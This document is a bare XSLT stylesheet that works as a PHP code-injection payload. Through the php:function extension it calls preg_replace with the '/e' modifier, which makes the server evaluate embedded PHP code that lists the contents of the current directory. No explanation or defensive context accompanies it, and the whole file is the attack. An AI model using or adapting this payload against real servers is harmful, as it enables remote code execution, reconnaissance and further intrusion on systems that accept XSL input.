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    <?xml version="1.0" encoding="UTF-8"?>
    <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body>
    <xsl:variable name="scana">
            implode('<br/>',scandir('.'))
    </xsl:variable>
    <br/>--------<br/>
    <br />Scan dir 1: <xsl:value-of select="php:function('preg_replace', '/.*/e', $scana, '')" />
    </body>
    </html>